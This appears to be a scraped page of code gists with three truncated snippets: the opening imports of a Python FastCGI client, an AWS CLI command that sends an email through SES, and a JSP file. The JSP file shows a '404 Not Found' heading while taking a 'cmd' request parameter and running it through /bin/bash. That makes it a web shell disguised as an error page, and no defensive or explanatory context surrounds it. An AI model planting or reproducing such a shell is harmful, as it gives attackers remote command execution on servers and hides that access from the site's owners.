This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import random | |
import argparse | |
import sys | |
from io import BytesIO | |
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client | |
PY2 = True if sys.version_info.major == 2 else False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo pip install awscli | |
aws configure | |
aws ses send-email \ | |
--from "john@gmail.com" \ | |
--destination "ToAddresses=mike@gmail.com" \ | |
--message "Subject={Data=from ses,Charset=utf8},Body={Text={Data=ses says hi,Charset=utf8},Html={Data=,Charset=utf8}}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<H1><CENTER>404 Not Found</CENTER></H1> | |
<%@ page import="java.io.*" %> | |
<% | |
String cmd = request.getParameter("cmd"); | |
String output = ""; | |
String error = ""; | |
if(cmd != null) { | |
String[] commandAndArgs = new String[]{ "/bin/bash", "-c", cmd }; | |
String s = null; | |
Process process = Runtime.getRuntime().exec(commandAndArgs); |